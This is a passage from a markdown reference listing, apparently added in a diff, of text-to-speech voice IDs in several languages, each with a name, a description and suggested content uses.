青年大学生 | Young university student voice | Campus content, educational | Chinese (Mandarin) | +| `female-shaonv` | 少女 | Young maiden voice | Romance, youth content | Chinese (Mandarin) | +| `bingjiao_didi` | 病娇弟弟 | Tsundere young brother voice | Romance, character-driven content | Chinese (Mandarin) | +| `junlang_nanyou` | 俊朗男友 | Handsome boyfriend voice | Romance, dating content | Chinese (Mandarin) | +| `chunzhen_xuedi` | 纯真学弟 | Innocent junior student voice | Campus stories, youth content | Chinese (Mandarin) | +| `lengdan_xiongzhang` | 冷淡学长 | Cool senior student voice | Campus stories, romance | Chinese (Mandarin) | +| `diadia_xuemei` | 嗲嗲学妹 | Flirty junior girl voice | Romance, dating content | Chinese (Mandarin) | +| `danya_xuejie` | 淡雅学姐 | Elegant senior girl voice | Campus stories, romance | Chinese (Mandarin) | +| `Chinese (Mandarin)_Straightforward_Boy` | 率真弟弟 | Frank, straightforward boy voice | Casual, direct content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Sincere_Adult` | 真诚青年 | Sincere young adult voice | Honest, genuine content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Pure-hearted_Boy` | 清澈邻家弟弟 | Pure-hearted neighbor boy voice | Innocent, wholesome content | Chinese (Mandarin) | +| `Korean_CheerfulBoyfriend` | Cheerful Boyfriend | Energetic, loving boyfriend voice | Romance, dating content | Korean | +| `Korean_ShyGirl` | Shy Girl | Timid, reserved girl voice | Comedy, romance | Korean | +| `Japanese_SportyStudent` | Sporty Student | Energetic athletic student voice | Sports, youth content | Japanese | +| `Japanese_InnocentBoy` | Innocent Boy | Pure, naive young boy voice | Children's content | Japanese | +| `Spanish_SincereTeen` | SincereTeen | Honest, genuine teenager voice | Youth, authentic | Spanish | +| `Spanish_Strong-WilledBoy` | Strong-willed Boy | Determined, persistent boy voice | Youth, motivation | Spanish | + +#### Adult Voices + +| voice_id | Name | Description | Best For | Language | +|----------|------|-------------|----------|----------| +| `female-chengshu` | 成熟女性 | Mature woman voice | Sophisticated, adult content | Chinese (Mandarin) | +| `female-yujie` | 御姐 | Mature, elegant woman voice | Romance, professional content | Chinese (Mandarin) | +| `female-tianmei` | 甜美女性 | Sweet, pleasant woman voice | Soft, gentle content | Chinese (Mandarin) | +| `badao_shaoye` | 霸道少爷 | Arrogant young master voice | Drama, character roles | Chinese (Mandarin) | +| `wumei_yujie` | 妩媚御姐 | Charming mature woman voice | Romance, mature content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Gentleman` | 温润男声 | Gentle, refined male voice | Narration, storytelling | Chinese (Mandarin) | +| `Chinese (Mandarin)_Unrestrained_Young_Man` | 不羁青年 | Unrestrained young man voice | Casual, entertainment content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Southern_Young_Man` | 南方小哥 | Southern young man voice | Regional character, casual content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Gentle_Youth` | 温润青年 | Gentle young man voice | Narration, calm content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Warm_Girl` | 温暖少女 | Warm young girl voice | Friendly, supportive content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Soft_Girl` | 柔和少女 | Soft, gentle girl voice | Calm, soothing content | Chinese (Mandarin) | +| `Korean_PlayboyCharmer` | Playboy Charmer | Smooth, flirtatious male voice | Romance, entertainment | Korean | +| `Korean_CalmLady` | Calm Lady | Composed, serene female voice | Meditation, relaxation | Korean | +| `Spanish_ConfidentWoman` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | Spanish | +| `Portuguese_ConfidentWoman` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | Portuguese | + +#### Elderly Voices + +| voice_id | Name | Description | Best For | Language | +|----------|------|-------------|----------|----------| +| `Chinese (Mandarin)_Humorous_Elder` | 搞笑大爷 | Humorous old man voice | Comedy, entertainment | Chinese (Mandarin) | +| `Chinese (Mandarin)_Kind-hearted_Elder` | 花甲奶奶 | Kind elderly lady voice | Stories, warm content | Chinese (Mandarin) | +| `Chinese (Mandarin)_Kind-hearted_Antie` | 热心大婶 | Kind-hearted auntie voice | Warm, friendly content | Chinese (Mandarin) | +| `Japanese_IntellectualSenior` | Intellectual Senior | Wise, knowledgeable elder voice | Narration, educational | Japanese | +| `Korean_IntellectualSenior` | Intellectual Senior | Wise, knowledgeable elder voice | Educational, narration | Korean | +| `Spanish_Wiselady` | Wise Lady | Experienced, wise woman voice | Guidance, advice | Spanish | +| `Portuguese_Wiselady` | Wise Lady | Experienced, wise woman voice | Guidance, advice | Portuguese | +| `Spanish_SereneElder` | Serene Elder | Calm, peaceful elderly voice | Meditation, wisdom | Spanish | +| `Portuguese_SereneElder` | Serene Elder | Calm, peaceful elderly voice | Meditation, wisdom | Portuguese | +| `English_Gentle-voiced_man` | Gentle-voiced Man | Soft-spoken, kind male voice | Calm, supportive content | English | + +--- + +## System Voices List (categorized by language) + +### Chinese Mandarin Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `male-qn-qingse` | 青涩青年 | Youthful, inexperienced young man voice | Campus stories, coming-of-age content | +| `male-qn-badao` | 霸道青年 | Arrogant, dominant young man voice | Drama, romance, character roles | +| `male-qn-daxuesheng` | 青年大学生 | Young university student voice | Campus content, educational | +| `female-shaonv` | 少女 | Young maiden voice | Romance, youth content | +| `female-yujie` | 御姐 | Mature, elegant woman voice | Romance, professional content | +| `female-chengshu` | 成熟女性 | Mature woman voice | Sophisticated, adult content | +| `female-tianmei` | 甜美女性 | Sweet, pleasant woman voice | Soft, gentle content | +| `clever_boy` | 聪明男童 | Smart, witty boy voice | Children's content, educational | +| `cute_boy` | 可爱男童 | Adorable young boy voice | Kids' content, animations | +| `lovely_girl` | 萌萌女童 | Cute, sweet girl voice | Children's stories, games | +| `cartoon_pig` | 卡通猪小琪 | Cartoon character voice | Animations, comedy, entertainment | +| `bingjiao_didi` | 病娇弟弟 | Tsundere young brother voice | Romance, character-driven content | +| `junlang_nanyou` | 俊朗男友 | Handsome boyfriend voice | Romance, dating content | +| `chunzhen_xuedi` | 纯真学弟 | Innocent junior student voice | Campus stories, youth content | +| `lengdan_xiongzhang` | 冷淡学长 | Cool senior student voice | Campus stories, romance | +| `badao_shaoye` | 霸道少爷 | Arrogant young master voice | Drama, character roles | +| `tianxin_xiaoling` | 甜心小玲 | Sweet Xiao Ling voice | Character roles, animations | +| `qiaopi_mengmei` | 俏皮萌妹 | Playful cute girl voice | Comedy, light-hearted content | +| `wumei_yujie` | 妩媚御姐 | Charming mature woman voice | Romance, mature content | +| `diadia_xuemei` | 嗲嗲学妹 | Flirty junior girl voice | Romance, dating content | +| `danya_xuejie` | 淡雅学姐 | Elegant senior girl voice | Campus stories, romance | +| `Arrogant_Miss` | 嚣张小姐 | Arrogant young lady voice | Drama, character roles | +| `Robot_Armor` | 机械战甲 | Robotic armor voice | Sci-fi, game characters | +| `Chinese (Mandarin)_Reliable_Executive` | 沉稳高管 | Reliable executive voice | Corporate, business content | +| `Chinese (Mandarin)_News_Anchor` | 新闻女声 | News anchor female voice | News broadcasts, current affairs | +| `Chinese (Mandarin)_Mature_Woman` | 傲娇御姐 | Tsundere mature woman voice | Romance, character-driven content | +| `Chinese (Mandarin)_Unrestrained_Young_Man` | 不羁青年 | Unrestrained young man voice | Casual, entertainment content | +| `male-qn-jingying` | 精英青年 | Elite, ambitious young man voice | Business, professional content | +| `Chinese (Mandarin)_Kind-hearted_Antie` | 热心大婶 | Kind-hearted auntie voice | Warm, friendly content | +| `Chinese (Mandarin)_HK_Flight_Attendant` | 港普空姐 | HK accent flight attendant voice | Regional character, entertainment | +| `Chinese (Mandarin)_Humorous_Elder` | 搞笑大爷 | Humorous old man voice | Comedy, entertainment | +| `Chinese (Mandarin)_Gentleman` | 温润男声 | Gentle, refined male voice | Narration, storytelling | +| `Chinese (Mandarin)_Warm_Bestie` | 温暖闺蜜 | Warm bestie female voice | Friendly, supportive content | +| `Chinese (Mandarin)_Male_Announcer` | 播报男声 | Male announcer voice | Announcements, broadcasts | +| `Chinese (Mandarin)_Sweet_Lady` | 甜美女声 | Sweet lady voice | Soft, gentle content | +| `Chinese (Mandarin)_Southern_Young_Man` | 南方小哥 | Southern young man voice | Regional character, casual content | +| `Chinese (Mandarin)_Wise_Women` | 阅历姐姐 | Experienced wise woman voice | Advice, guidance content | +| `Chinese (Mandarin)_Gentle_Youth` | 温润青年 | Gentle young man voice | Narration, calm content | +| `Chinese (Mandarin)_Warm_Girl` | 温暖少女 | Warm young girl voice | Friendly, supportive content | +| `Chinese (Mandarin)_Kind-hearted_Elder` | 花甲奶奶 | Kind elderly lady voice | Stories, warm content | +| `Chinese (Mandarin)_Cute_Spirit` | 憨憨萌兽 | Cute cartoon spirit voice | Animations, children's content | +| `Chinese (Mandarin)_Radio_Host` | 电台男主播 | Radio host male voice | Podcasts, radio shows | +| `Chinese (Mandarin)_Lyrical_Voice` | 抒情男声 | Lyrical male singing voice | Music, singing content | +| `Chinese (Mandarin)_Straightforward_Boy` | 率真弟弟 | Frank, straightforward boy voice | Casual, direct content | +| `Chinese (Mandarin)_Sincere_Adult` | 真诚青年 | Sincere young adult voice | Honest, genuine content | +| `Chinese (Mandarin)_Gentle_Senior` | 温柔学姐 | Gentle senior girl voice | Campus stories, supportive content | +| `Chinese (Mandarin)_Stubborn_Friend` | 嘴硬竹马 | Stubborn childhood friend voice | Drama, character-driven content | +| `Chinese (Mandarin)_Crisp_Girl` | 清脆少女 | Crisp, clear young girl voice | Clear, bright content | +| `Chinese (Mandarin)_Pure-hearted_Boy` | 清澈邻家弟弟 | Pure-hearted neighbor boy voice | Innocent, wholesome content | +| `Chinese (Mandarin)_Soft_Girl` | 柔和少女 | Soft, gentle girl voice | Calm, soothing content | + +### Chinese Cantonese Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Cantonese_ProfessionalHost(F)` | 专业女主持 | Professional female host voice | Cantonese broadcasts, hosting | +| `Cantonese_GentleLady` | 温柔女声 | Gentle Cantonese female voice | Soft, warm Cantonese content | +| `Cantonese_ProfessionalHost(M)` | 专业男主持 | Professional male host voice | Cantonese broadcasts, hosting | +| `Cantonese_PlayfulMan` | 活泼男声 | Playful Cantonese male voice | Entertainment, casual content | +| `Cantonese_CuteGirl` | 可爱女孩 | Cute Cantonese girl voice | Children's content, animations | +| `Cantonese_KindWoman` | 善良女声 | Kind Cantonese female voice | Warm, friendly content | + +### English Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Santa_Claus` | Santa Claus | Festive, jolly male voice | Holiday content, children's stories | +| `Grinch` | Grinch | Whiny, mischievous voice | Comedy, entertainment, holiday | +| `Rudolph` | Rudolph | Cute, nasal reindeer voice | Children's content, holiday | +| `Arnold` | Arnold | Deep, robotic terminator voice | Sci-fi, action, character roles | +| `Charming_Santa` | Charming Santa | Smooth, charismatic Santa voice | Holiday, entertainment | +| `Charming_Lady` | Charming Lady | Elegant, sophisticated female voice | Professional, romance | +| `Sweet_Girl` | Sweet Girl | Sweet, innocent young girl voice | Children's content, friendly | +| `Cute_Elf` | Cute Elf | Playful, tiny elf voice | Fantasy, children's content | +| `Attractive_Girl` | Attractive Girl | Attractive, engaging female voice | Entertainment, marketing | +| `Serene_Woman` | Serene Woman | Calm, peaceful female voice | Meditation, relaxation | +| `English_Trustworthy_Man` | Trustworthy Man | Reliable, sincere male voice | Business, narration | +| `English_Graceful_Lady` | Graceful Lady | Elegant, refined female voice | Formal, professional | +| `English_Aussie_Bloke` | Aussie Bloke | Casual, friendly Australian male voice | Casual, entertainment | +| `English_Whispering_girl` | Whispering Girl | Soft, whisper voice | Romance, intimate content | +| `English_Diligent_Man` | Diligent Man | Hardworking, earnest male voice | Motivational, educational | +| `English_Gentle-voiced_man` | Gentle-voiced Man | Soft-spoken, kind male voice | Calm, supportive content | + +### Japanese Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Japanese_IntellectualSenior` | Intellectual Senior | Wise, knowledgeable elder voice | Narration, educational | +| `Japanese_DecisivePrincess` | Decisive Princess | Confident, royal princess voice | Animation, games, drama | +| `Japanese_LoyalKnight` | Loyal Knight | Brave, faithful knight voice | Fantasy, games, stories | +| `Japanese_DominantMan` | Dominant Man | Powerful, commanding male voice | Action, leadership | +| `Japanese_SeriousCommander` | Serious Commander | Stern, authoritative commander voice | Military, games | +| `Japanese_ColdQueen` | Cold Queen | Distant, majestic queen voice | Drama, fantasy | +| `Japanese_DependableWoman` | Dependable Woman | Reliable, supportive female voice | Supportive, guidance | +| `Japanese_GentleButler` | Gentle Butler | Polite, refined servant voice | Comedy, animation | +| `Japanese_KindLady` | Kind Lady | Warm, gentle noblewoman voice | Warm, comforting | +| `Japanese_CalmLady` | Calm Lady | Composed, serene female voice | Meditation, relaxation | +| `Japanese_OptimisticYouth` | Optimistic Youth | Cheerful, positive young person voice | Youth content, motivation | +| `Japanese_GenerousIzakayaOwner` | Generous Izakaya Owner | Friendly, welcoming tavern owner voice | Casual, comedy | +| `Japanese_SportyStudent` | Sporty Student | Energetic athletic student voice | Sports, youth content | +| `Japanese_InnocentBoy` | Innocent Boy | Pure, naive young boy voice | Children's content | +| `Japanese_GracefulMaiden` | Graceful Maiden | Elegant, gentle young woman voice | Romance, drama | + +### Korean Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Korean_SweetGirl` | Sweet Girl | Sweet, adorable young girl voice | Children's content, romance | +| `Korean_CheerfulBoyfriend` | Cheerful Boyfriend | Energetic, loving boyfriend voice | Romance, dating content | +| `Korean_EnchantingSister` | Enchanting Sister | Charming, captivating sister voice | Family, drama | +| `Korean_ShyGirl` | Shy Girl | Timid, reserved girl voice | Comedy, romance | +| `Korean_ReliableSister` | Reliable Sister | Trustworthy, dependable sister voice | Supportive, guidance | +| `Korean_StrictBoss` | Strict Boss | Authoritative, demanding boss voice | Business, drama | +| `Korean_SassyGirl` | Sassy Girl | Bold, witty girl voice | Comedy, entertainment | +| `Korean_ChildhoodFriendGirl` | Childhood Friend Girl | Familiar, friendly childhood friend voice | Romance, nostalgia | +| `Korean_PlayboyCharmer` | Playboy Charmer | Smooth, flirtatious male voice | Romance, entertainment | +| `Korean_ElegantPrincess` | Elegant Princess | Graceful, royal princess voice | Animation, fantasy | +| `Korean_BraveFemaleWarrior` | Brave Female Warrior | Courageous female warrior voice | Action, fantasy | +| `Korean_BraveYouth` | Brave Youth | Heroic young person voice | Action, youth | +| `Korean_CalmLady` | Calm Lady | Composed, serene female voice | Meditation, relaxation | +| `Korean_EnthusiasticTeen` | EnthusiasticTeen | Excited, energetic teenager voice | Youth content | +| `Korean_SoothingLady` | Soothing Lady | Calming, comforting female voice | Relaxation, support | +| `Korean_IntellectualSenior` | Intellectual Senior | Wise, knowledgeable elder voice | Educational, narration | +| `Korean_LonelyWarrior` | Lonely Warrior | Solitary, melancholic warrior voice | Drama, fantasy | +| `Korean_MatureLady` | MatureLady | Sophisticated, adult female voice | Professional, drama | +| `Korean_InnocentBoy` | Innocent Boy | Pure, naive young boy voice | Children's content | +| `Korean_CharmingSister` | Charming Sister | Attractive, delightful sister voice | Family, romance | +| `Korean_AthleticStudent` | Athletic Student | Sporty, energetic student voice | Sports, youth | +| `Korean_BraveAdventurer` | Brave Adventurer | Courageous explorer voice | Adventure, fantasy | +| `Korean_CalmGentleman` | Calm Gentleman | Composed, refined gentleman voice | Formal, professional | +| `Korean_WiseElf` | Wise Elf | Ancient, mystical elf voice | Fantasy, narration | +| `Korean_CheerfulCoolJunior` | Cheerful Cool Junior | Popular, friendly junior voice | Youth, entertainment | +| `Korean_DecisiveQueen` | Decisive Queen | Authoritative, commanding queen voice | Drama, fantasy | +| `Korean_ColdYoungMan` | Cold Young Man | Distant, aloof young man voice | Drama, romance | +| `Korean_MysteriousGirl` | Mysterious Girl | Enigmatic, secretive girl voice | Mystery, drama | +| `Korean_QuirkyGirl` | Quirky Girl | Eccentric, unique girl voice | Comedy, entertainment | +| `Korean_ConsiderateSenior` | Considerate Senior | Thoughtful, caring elder voice | Warm, supportive | +| `Korean_CheerfulLittleSister` | Cheerful Little Sister | Playful, adorable younger sister voice | Family, comedy | +| `Korean_DominantMan` | Dominant Man | Powerful, commanding male voice | Leadership, action | +| `Korean_AirheadedGirl` | Airheaded Girl | Bubbly, spacey girl voice | Comedy, entertainment | +| `Korean_ReliableYouth` | Reliable Youth | Trustworthy, dependable young person voice | Supportive, youth | +| `Korean_FriendlyBigSister` | Friendly Big Sister | Warm, protective elder sister voice | Family, support | +| `Korean_GentleBoss` | Gentle Boss | Kind, understanding boss voice | Business, supportive | +| `Korean_ColdGirl` | Cold Girl | Aloof, distant girl voice | Drama, romance | +| `Korean_HaughtyLady` | Haughty Lady | Arrogant, proud woman voice | Drama, comedy | +| `Korean_CharmingElderSister` | Charming Elder Sister | Attractive, graceful elder sister voice | Romance, family | +| `Korean_IntellectualMan` | Intellectual Man | Smart, knowledgeable male voice | Educational, professional | +| `Korean_CaringWoman` | Caring Woman | Nurturing, supportive woman voice | Supportive, warm | +| `Korean_WiseTeacher` | Wise Teacher | Experienced, knowledgeable teacher voice | Educational | +| `Korean_ConfidentBoss` | Confident Boss | Self-assured, capable boss voice | Business, leadership | +| `Korean_AthleticGirl` | Athletic Girl | Sporty, energetic girl voice | Sports, fitness | +| `Korean_PossessiveMan` | PossessiveMan | Intense, protective male voice | Romance, drama | +| `Korean_GentleWoman` | Gentle Woman | Soft-spoken, kind woman voice | Calm, supportive | +| `Korean_CockyGuy` | Cocky Guy | Confident, slightly arrogant male voice | Comedy, entertainment | +| `Korean_ThoughtfulWoman` | ThoughtfulWoman | Reflective, caring woman voice | Drama, support | +| `Korean_OptimisticYouth` | Optimistic Youth | Positive, hopeful young person voice | Motivation, youth | + +### Spanish Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Spanish_SereneWoman` | Serene Woman | Calm, peaceful female voice | Relaxation, meditation | +| `Spanish_MaturePartner` | Mature Partner | Sophisticated, adult partner voice | Romance, drama | +| `Spanish_CaptivatingStoryteller` | Captivating Storyteller | Engaging, magnetic narrator voice | Audiobooks, storytelling | +| `Spanish_Narrator` | Narrator | Professional narrative voice | Documentaries, narration | +| `Spanish_WiseScholar` | Wise Scholar | Knowledgeable, wise scholar voice | Educational, historical | +| `Spanish_Kind-heartedGirl` | Kind-hearted Girl | Warm, compassionate girl voice | Children's content, warm | +| `Spanish_DeterminedManager` | Determined Manager | Ambitious, driven manager voice | Business, motivation | +| `Spanish_BossyLeader` | Bossy Leader | Commanding, authoritative leader voice | Leadership, drama | +| `Spanish_ReservedYoungMan` | Reserved Young Man | Quiet, introverted young man voice | Drama, realistic characters | +| `Spanish_ConfidentWoman` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | +| `Spanish_ThoughtfulMan` | ThoughtfulMan | Reflective, intelligent man voice | Educational, drama | +| `Spanish_Strong-WilledBoy` | Strong-willed Boy | Determined, persistent boy voice | Youth, motivation | +| `Spanish_SophisticatedLady` | SophisticatedLady | Elegant, refined woman voice | Formal, romance | +| `Spanish_RationalMan` | Rational Man | Logical, analytical man voice | Educational, business | +| `Spanish_AnimeCharacter` | Anime Character | Exaggerated anime-style voice | Animation, entertainment | +| `Spanish_Deep-tonedMan` | Deep-toned Man | Deep, resonant male voice | Attractive, commanding | +| `Spanish_Fussyhostess` | Fussy Hostess | Particular, demanding hostess voice | Comedy, drama | +| `Spanish_SincereTeen` | SincereTeen | Honest, genuine teenager voice | Youth, authentic | +| `Spanish_FrankLady` | Frank Lady | Direct, honest woman voice | Comedy, drama | +| `Spanish_Comedian` | Comedian | Humorous, entertaining voice | Comedy, entertainment | +| `Spanish_Debator` | Debator | Argumentative, persuasive voice | Debate, discussion | +| `Spanish_ToughBoss` | Tough Boss | Harsh, demanding boss voice | Business, drama | +| `Spanish_Wiselady` | Wise Lady | Experienced, wise woman voice | Guidance, advice | +| `Spanish_Steadymentor` | Steady Mentor | Reliable, supportive mentor voice | Educational, guidance | +| `Spanish_Jovialman` | Jovial Man | Cheerful, friendly man voice | Entertainment, casual | +| `Spanish_SantaClaus` | Santa Claus | Festive Santa voice | Holiday, children | +| `Spanish_Rudolph` | Rudolph | Reindeer voice | Holiday, children | +| `Spanish_Intonategirl` | Intonate Girl | Musical, melodic girl voice | Music, singing | +| `Spanish_Arnold` | Arnold | Robotic, mechanical voice | Sci-fi, action | +| `Spanish_Ghost` | Ghost | Spooky, ethereal voice | Horror, mystery | +| `Spanish_HumorousElder` | Humorous Elder | Funny, elderly person voice | Comedy, entertainment | +| `Spanish_EnergeticBoy` | Energetic Boy | Active, lively boy voice | Youth, sports | +| `Spanish_WhimsicalGirl` | Whimsical Girl | Playful, imaginative girl voice | Children's, fantasy | +| `Spanish_StrictBoss` | Strict Boss | Strict, demanding boss voice | Business, education | +| `Spanish_ReliableMan` | Reliable Man | Trustworthy, dependable man voice | Professional, support | +| `Spanish_SereneElder` | Serene Elder | Calm, peaceful elderly voice | Meditation, wisdom | +| `Spanish_AngryMan` | Angry Man | Frustrated, irritated male voice | Drama, comedy | +| `Spanish_AssertiveQueen` | Assertive Queen | Confident, commanding queen voice | Drama, fantasy | +| `Spanish_CaringGirlfriend` | Caring Girlfriend | Nurturing, loving girlfriend voice | Romance, relationship | +| `Spanish_PowerfulSoldier` | Powerful Soldier | Strong, brave soldier voice | Action, military | +| `Spanish_PassionateWarrior` | Passionate Warrior | Fierce, dedicated warrior voice | Action, fantasy | +| `Spanish_ChattyGirl` | Chatty Girl | Talkative, sociable girl voice | Comedy, social | +| `Spanish_RomanticHusband` | Romantic Husband | Loving, romantic husband voice | Romance, family | +| `Spanish_CompellingGirl` | CompellingGirl | Persuasive, magnetic girl voice | Marketing, entertainment | +| `Spanish_PowerfulVeteran` | Powerful Veteran | Experienced, strong veteran voice | Military, drama | +| `Spanish_SensibleManager` | Sensible Manager | Practical, reasonable manager voice | Business, guidance | +| `Spanish_ThoughtfulLady` | Thoughtful Lady | Considerate, kind lady voice | Supportive, advice | + +### Portuguese Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Portuguese_SentimentalLady` | Sentimental Lady | Emotional, sensitive lady voice | Drama, romance | +| `Portuguese_BossyLeader` | Bossy Leader | Commanding, authoritative leader voice | Leadership, drama | +| `Portuguese_Wiselady` | Wise Lady | Experienced, wise woman voice | Guidance, advice | +| `Portuguese_Strong-WilledBoy` | Strong-willed Boy | Determined, persistent boy voice | Youth, motivation | +| `Portuguese_Deep-VoicedGentleman` | Deep-voiced Gentleman | Deep, rich male voice | Attractive, commanding | +| `Portuguese_UpsetGirl` | Upset Girl | Distressed, emotional girl voice | Drama, realistic | +| `Portuguese_PassionateWarrior` | Passionate Warrior | Fierce, dedicated warrior voice | Action, fantasy | +| `Portuguese_AnimeCharacter` | Anime Character | Exaggerated anime-style voice | Animation, entertainment | +| `Portuguese_ConfidentWoman` | Confident Woman | Self-assured, capable woman voice | Professional, empowerment | +| `Portuguese_AngryMan` | Angry Man | Frustrated, irritated male voice | Drama, comedy | +| `Portuguese_CaptivatingStoryteller` | Captivating Storyteller | Engaging, magnetic narrator voice | Audiobooks, storytelling | +| `Portuguese_Godfather` | Godfather | Authoritative, powerful father figure voice | Drama, powerful | +| `Portuguese_ReservedYoungMan` | Reserved Young Man | Quiet, introverted young man voice | Drama, realistic | +| `Portuguese_SmartYoungGirl` | Smart Young Girl | Intelligent, clever girl voice | Educational, youth | +| `Portuguese_Kind-heartedGirl` | Kind-hearted Girl | Warm, compassionate girl voice | Children's content, warm | +| `Portuguese_Pompouslady` | Pompous Lady | Self-important, arrogant lady voice | Comedy, drama | +| `Portuguese_Grinch` | Grinch | Whiny, mischievous voice | Comedy, entertainment | +| `Portuguese_Debator` | Debator | Argumentative, persuasive voice | Debate, discussion | +| `Portuguese_SweetGirl` | Sweet Girl | Sweet, adorable girl voice | Children's content, romance | +| `Portuguese_AttractiveGirl` | Attractive Girl | Charming, appealing girl voice | Entertainment, romance | +| `Portuguese_ThoughtfulMan` | Thoughtful Man | Reflective, intelligent man voice | Educational, drama | +| `Portuguese_PlayfulGirl` | Playful Girl | Playful, fun-loving girl voice | Comedy, children's content | +| `Portuguese_GorgeousLady` | Gorgeous Lady | Beautiful, stunning lady voice | Romance, entertainment | +| `Portuguese_LovelyLady` | Lovely Lady | Sweet, endearing lady voice | Warm, friendly | +| `Portuguese_SereneWoman` | Serene Woman | Calm, peaceful female voice | Relaxation, meditation | +| `Portuguese_SadTeen` | Sad Teen | Melancholic, teenage voice | Drama, emotional | +| `Portuguese_MaturePartner` | Mature Partner | Sophisticated, adult partner voice | Romance, drama | +| `Portuguese_Comedian` | Comedian | Humorous, entertaining voice | Comedy, entertainment | +| `Portuguese_NaughtySchoolgirl` | Naughty Schoolgirl | Mischievous, playful student voice | Comedy, school | +| `Portuguese_Narrator` | Narrator | Professional narrative voice | Documentaries, narration | +| `Portuguese_ToughBoss` | Tough Boss | Harsh, demanding boss voice | Business, drama | +| `Portuguese_Fussyhostess` | Fussy Hostess | Particular, demanding hostess voice | Comedy, drama | +| `Portuguese_Dramatist` | Dramatist | Theatrical, expressive voice | Drama, storytelling | +| `Portuguese_Steadymentor` | Steady Mentor | Reliable, supportive mentor voice | Educational, guidance | +| `Portuguese_Jovialman` | Jovial Man | Cheerful, friendly man voice | Entertainment, casual | +| `Portuguese_CharmingQueen` | Charming Queen | Elegant, captivating queen voice | Drama, fantasy | +| `Portuguese_SantaClaus` | Santa Claus | Festive Santa voice | Holiday, children | +| `Portuguese_Rudolph` | Rudolph | Reindeer voice | Holiday, children | +| `Portuguese_Arnold` | Arnold | Robotic, mechanical voice | Sci-fi, action | +| `Portuguese_CharmingSanta` | Charming Santa | Smooth, charismatic Santa voice | Holiday, entertainment | +| `Portuguese_CharmingLady` | Charming Lady | Elegant, sophisticated lady voice | Professional, romance | +| `Portuguese_Ghost` | Ghost | Spooky, ethereal voice | Horror, mystery | +| `Portuguese_HumorousElder` | Humorous Elder | Funny, elderly person voice | Comedy, entertainment | +| `Portuguese_CalmLeader` | Calm Leader | Composed, steady leader voice | Leadership, guidance | +| `Portuguese_GentleTeacher` | Gentle Teacher | Kind, patient teacher voice | Educational, supportive | +| `Portuguese_EnergeticBoy` | Energetic Boy | Active, lively boy voice | Youth, sports | +| `Portuguese_ReliableMan` | Reliable Man | Trustworthy, dependable man voice | Professional, support | +| `Portuguese_SereneElder` | Serene Elder | Calm, peaceful elderly voice | Meditation, wisdom | +| `Portuguese_GrimReaper` | Grim Reaper | Dark, ominous voice | Horror, fantasy | +| `Portuguese_AssertiveQueen` | Assertive Queen | Confident, commanding queen voice | Drama, fantasy | +| `Portuguese_WhimsicalGirl` | Whimsical Girl | Playful, imaginative girl voice | Children's, fantasy | +| `Portuguese_StressedLady` | Stressed Lady | Anxious, overwhelmed lady voice | Comedy, realistic | +| `Portuguese_FriendlyNeighbor` | Friendly Neighbor | Warm, helpful neighbor voice | Community, family | +| `Portuguese_CaringGirlfriend` | Caring Girlfriend | Nurturing, loving girlfriend voice | Romance, relationship | +| `Portuguese_PowerfulSoldier` | Powerful Soldier | Strong, brave soldier voice | Action, military | +| `Portuguese_FascinatingBoy` | Fascinating Boy | Charming, intriguing boy voice | Romance, youth | +| `Portuguese_RomanticHusband` | Romantic Husband | Loving, romantic husband voice | Romance, family | +| `Portuguese_StrictBoss` | Strict Boss | Strict, demanding boss voice | Business, education | +| `Portuguese_InspiringLady` | Inspiring Lady | Motivating, encouraging lady voice | Motivation, leadership | +| `Portuguese_PlayfulSpirit` | Playful Spirit | Cheerful, mischievous spirit voice | Fantasy, children's | +| `Portuguese_ElegantGirl` | Elegant Girl | Graceful, refined girl voice | Formal, romance | +| `Portuguese_CompellingGirl` | Compelling Girl | Persuasive, magnetic girl voice | Marketing, entertainment | +| `Portuguese_PowerfulVeteran` | Powerful Veteran | Experienced, strong veteran voice | Military, drama | +| `Portuguese_SensibleManager` | Sensible Manager | Practical, reasonable manager voice | Business, guidance | +| `Portuguese_ThoughtfulLady` | Thoughtful Lady | Considerate, kind lady voice | Supportive, advice | +| `Portuguese_TheatricalActor` | Theatrical Actor | Dramatic, expressive actor voice | Drama, entertainment | +| `Portuguese_FragileBoy` | Fragile Boy | Sensitive, vulnerable boy voice | Drama, emotional | +| `Portuguese_ChattyGirl` | Chatty Girl | Talkative, sociable girl voice | Comedy, social | +| `Portuguese_Conscientiousinstructor` | Conscientious Instructor | Careful, diligent instructor voice | Educational, training | +| `Portuguese_RationalMan` | Rational Man | Logical, analytical man voice | Educational, business | +| `Portuguese_WiseScholar` | Wise Scholar | Knowledgeable, wise scholar voice | Educational, historical | +| `Portuguese_FrankLady` | Frank Lady | Direct, honest woman voice | Comedy, drama | +| `Portuguese_DeterminedManager` | Determined Manager | Ambitious, driven manager voice | Business, motivation | + +### French Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `French_Male_Speech_New` | Level-Headed Man | Calm, reasonable male voice | Professional, narration | +| `French_Female_News Anchor` | Patient Female Presenter | Clear, patient news presenter voice | News, broadcasts | +| `French_CasualMan` | Casual Man | Relaxed, informal male voice | Casual, entertainment | +| `French_MovieLeadFemale` | Movie Lead Female | Dramatic, expressive female voice | Drama, entertainment | +| `French_FemaleAnchor` | Female Anchor | Professional female anchor voice | News, broadcasts | + +### Indonesian Voices + +| voice_id | Name | Description | Best For | +|----------|------|-------------|----------| +| `Indonesian_SweetGirl` | Sweet Girl | Sweet, adorable girl voice | Children's content, friendly | +| `Indonesian_ReservedYoungMan` | Reserved Young Man | Quiet, introverted young man voice | Drama, realistic | +| `Indonesian_CharmingGirl` | Charming Girl | Attractive, appealing girl voice | 